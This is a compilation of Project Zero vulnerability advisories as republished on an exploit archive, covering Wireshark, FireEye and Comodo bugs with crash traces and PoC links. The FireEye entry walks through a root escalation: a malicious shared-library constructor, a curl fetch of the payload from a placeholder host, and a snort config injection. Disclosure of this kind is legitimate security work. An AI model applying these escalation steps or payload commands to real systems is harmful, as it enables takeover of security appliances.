    #3 0x7fde27f4656f in dissect_kerberos_HostAddress epan/dissectors/../../asn1/kerberos/kerberos.cnf:233:12
    #4 0x7fde25b1959a in dissect_ber_sequence epan/dissectors/packet-ber.c:2415:17
    #5 0x7fde27f4badf in dissect_kerberos_EncKrbPrivPart epan/dissectors/../../asn1/kerberos/kerberos.cnf:407:12
    #6 0x7fde25b040f7 in dissect_ber_tagged_type epan/dissectors/packet-ber.c:695:18
    #7 0x7fde27f42384 in dissect_kerberos_ENC_KRB_PRIV_PART epan/dissectors/../../asn1/kerberos/kerberos.cnf:417:12
    #8 0x7fde25b1f100 in dissect_ber_choice epan/dissectors/packet-ber.c:2917:21
    #9 0x7fde27f4139a in dissect_kerberos_Applications epan/dissectors/../../asn1/kerberos/kerberos.cnf:185:12
    #10 0x7fde27f3f7b2 in dissect_kerberos_common epan/dissectors/../../asn1/kerberos/packet-kerberos-template.c:2103:10
    #11 0x7fde27f3e22f in dissect_kerberos_main epan/dissectors/../../asn1/kerberos/packet-kerberos-template.c:2134:10
    #12 0x7fde26f3c34f in dissect_pktc_mtafqdn epan/dissectors/packet-pktc.c:566:15
    #13 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
    #14 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
    #15 0x7fde2560670d in dissector_try_uint_new epan/packet.c:1160:9
    #16 0x7fde256072b4 in dissector_try_uint epan/packet.c:1186:9
    #17 0x7fde277709e5 in decode_udp_ports epan/dissectors/packet-udp.c:583:7
    #18 0x7fde2777fa80 in dissect epan/dissectors/packet-udp.c:1081:5
    #19 0x7fde27773840 in dissect_udplite epan/dissectors/packet-udp.c:1094:3
    #20 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
    #21 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
    #22 0x7fde2560670d in dissector_try_uint_new epan/packet.c:1160:9
    #23 0x7fde267660bb in ip_try_dissect epan/dissectors/packet-ip.c:1978:7
    #24 0x7fde26770de8 in dissect_ip_v4 epan/dissectors/packet-ip.c:2472:10
    #25 0x7fde26766819 in dissect_ip epan/dissectors/packet-ip.c:2495:5
    #26 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
    #27 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
    #28 0x7fde2560670d in dissector_try_uint_new epan/packet.c:1160:9
    #29 0x7fde256072b4 in dissector_try_uint epan/packet.c:1186:9
    #30 0x7fde26f6e380 in dissect_ppp_common epan/dissectors/packet-ppp.c:4344:10
    #31 0x7fde26f6db3c in dissect_ppp_hdlc_common epan/dissectors/packet-ppp.c:5337:5
    #32 0x7fde26f65df5 in dissect_ppp_hdlc epan/dissectors/packet-ppp.c:5378:5
    #33 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
    #34 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
    #35 0x7fde2560670d in dissector_try_uint_new epan/packet.c:1160:9
    #36 0x7fde2634fe55 in dissect_frame epan/dissectors/packet-frame.c:493:11
    #37 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
    #38 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
    #39 0x7fde25610a7e in call_dissector_only epan/packet.c:2674:8
    #40 0x7fde2560243f in call_dissector_with_data epan/packet.c:2687:8
    #41 0x7fde25601814 in dissect_record epan/packet.c:509:3
    #42 0x7fde255b4bb9 in epan_dissect_run_with_taps epan/epan.c:376:2
    #43 0x52f11b in process_packet tshark.c:3748:5
    #44 0x52840c in load_cap_file tshark.c:3504:11
    #45 0x51e71c in main tshark.c:2213:13

0x7fde2f36bfc4 is located 4 bytes to the right of global variable 'cb' defined in 'packet-pktc.c:539:27' (0x7fde2f36bfa0) of size 32
SUMMARY: AddressSanitizer: global-buffer-overflow epan/dissectors/packet-ber.c:2001:16 in dissect_ber_integer
Shadow bytes around the buggy address:
  0x0ffc45e657a0: 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9
  0x0ffc45e657b0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0ffc45e657c0: 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
  0x0ffc45e657d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffc45e657e0: 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9
=>0x0ffc45e657f0: f9 f9 f9 f9 00 00 00 00[f9]f9 f9 f9 00 00 00 00
  0x0ffc45e65800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffc45e65810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffc45e65820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffc45e65830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffc45e65840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==28209==ABORTING
--- cut ---

The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=12206. Attached is a file which triggers the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39604.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=670

The mip user is already quite privileged, capable of accessing sensitive network data. However, as the child process has supplementary gid contents, there is a very simple privilege escalation to root. This is because the snort configuration is writable by that group:

$ ls -l /data/snort/config/snort.conf
-rw-rw-r-- 1 fenet contents 1332 Dec  2 18:02 /data/snort/config/snort.conf

This can be exploited by placing a shared library in a writable directory that is mounted with the “exec” option, and appending a “dynamicengine” directive to the snort configuration.

# mount | grep -v noexec | grep rw 
...
/dev/sda8 on /var type ext4 (rw,noatime)
/dev/sda11 on /data type ext4 (rw,noatime)
/dev/sda9 on /data/db type ext4 (rw,noatime,barrier=0)
tmpfs on /dev/shm type tmpfs (rw)

It looks like /dev/shm is a good candidate for storing a shared library.

First, I create and compile a shared library on my workstation, as there is no compiler available on the FireEye appliance:

$ cat test.c 
void __attribute__((constructor)) init(void)
{
        system("/usr/bin/id > /tmp/output.txt");
}
$ gcc test.c -shared -s -fPIC -o test.so

Now fetch that object on the FireEye machine, and instruct snort to load it:

fireeye$ curl http://example.com/test.so > /dev/shm/test.so
fireeye$ printf “dynamicengine /dev/shm/test.so\n” >> /data/snort/config/snort.conf

The snort process is regularly restarted to process new rules, so simply wait for the snort process to respawn, and verify we were able to execute commands as root:

fireeye$ cat /tmp/output.txt                                                           
uid=0(admin) gid=0(root) groups=0(root)

And now we’re root, with complete control of the FireEye machine. We can load a rootkit, persist across reboots or factory resets, inspect or modify traffic, or perform any other action.
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=763

The LZMA specification says the following about the memory usage of decompression:

"The size of the probability model counter arrays is calculated with the following formula: size_of_prob_arrays = 1846 + 768 * (1 << (lp + lc))"

But that formula only holds true if you keep the parameters within the specified range, which the SDK gives as:

lp - The number of literal pos bits (low bits of current position for literals).
     It can be in the range from 0 to 4. The default value is 0.

lc - The number of literal context bits (high bits of previous literal).
     It can be in the range from 0 to 8. The default value is 3.

If you set the parameters outside those ranges, then the rest of the assumptions don't hold and memory corruption can occur. Comodo do not attempt to keep these parameters in range, and lots of memory corruption can occur, the attached testcase should crash during an LZMA decode operation by overflowing a heap buffer.

This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM. 

(438.dd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
unpack!CreateInstance+0x654bc:
000007fe`f29890cc 66f3ab          rep stos word ptr [rdi]
0:010> r
rax=0000000000000400 rbx=0000000000000000 rcx=000000007ffffe88
rdx=0000000000000001 rsi=000000000b154588 rdi=000000000bbfc000
rip=000007fef29890cc rsp=000000000d6cd2c0 rbp=0000000000000000
 r8=0000000000023c7c  r9=000000000d6cd378 r10=0000000000000001
r11=000000000b361000 r12=0000000000000001 r13=000000000b39c38c
r14=0000000000000000 r15=000000000bbfaea4
iopl=0         nv up ei ng nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
unpack!CreateInstance+0x654bc:
000007fe`f29890cc 66f3ab          rep stos word ptr [rdi]

This is trying to initialize the probabilities array, but overflowing the heap buffer allocated and running off a page boundary.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39602.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=764

Packman is an obscure opensource executable packer that Comodo Antivirus attempts to unpack during scanning. The code is available online here:

http://packmanpacker.sourceforge.net/

If the compression method is set to algorithm 1, compression parameters are read directly from the input executable without validation. Fuzzing this unpacker revealed a variety of crashes due to this, such as causing pointer arithmetic in CAEPACKManUnpack::DoUnpack_With_NormalPack to move pksDeCodeBuffer.ptr to an arbitrary address, which allows an attacker to free() an arbitrary pointer.

This issue is obviously exploitable to execute code as NT AUTHORITY\SYSTEM.

The attached testcase will attempt to free() an invalid pointer to demonstrate this.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39601.zip